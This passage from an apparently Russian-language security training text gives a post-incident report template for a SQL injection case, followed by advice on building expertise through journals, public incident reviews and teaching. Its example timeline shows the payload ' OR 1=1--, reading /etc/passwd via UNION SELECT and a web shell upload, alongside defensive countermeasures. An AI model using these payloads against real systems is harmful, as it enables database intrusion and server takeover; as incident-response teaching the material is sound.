    • Был ли зафиксирован аномальный SELECT ... UNION в логах?
    • Можно ли было обнаружить по сетевому трафику?
  4. Формирование контрмер:
    • Внедрение параметризованных запросов,
    • Ограничение прав БД-пользователя,
    • Мониторинг SELECT с UNION в slow-query log.

Формат отчёта (шаблон):

## Инцидент: [Краткое название]

### Корень причины (Root Cause)
- Уязвимость: SQL-инъекция в параметре `user_id`.
- Системная причина: отсутствие валидации входных данных, отключенный WAF.

### Хронология
| Время | Событие |
|-------|---------|
| 14:23 | Первый запрос с `' OR 1=1--` |
| 14:25 | Чтение `/etc/passwd` через `UNION SELECT` |
| 14:30 | Загрузка веб-шелла |

### Уроки
1. Все входные данные — недоверенные.
2. WAF должен быть включён и регулярно тестируем.
3. Мониторинг аномальных SQL-запросов критичен.

### Действия
- [ ] Внедрить параметризованные запросы в модуле `auth`.
- [ ] Настроить alert на `UNION` в slow-query log.
- [ ] Провести аудит всех GET/POST-параметров.

16.4. Формирование экспертизы: долгосрочные практики

  • Ведение «журнала исследователя»:
    Ежедневная запись: «Что изучал? Какой эксперимент провёл? Какой вывод?». Через год — объективная картина роста.

  • Разбор публичных инцидентов:
    Анализ отчётов Mandiant, CrowdStrike, Microsoft (например, SolarWinds, Log4j). Вопросы:

    • Какие гипотезы угроз были проигнорированы?
    • Какие контрмеры сработали/не сработали?
    • Какие метрики позволили бы обнаружить раньше?
  • Обучение через преподавание:
    Подготовка лекции по теме (например, «ACL в Linux») выявляет пробелы в понимании. Пояснение — лучший способ учиться.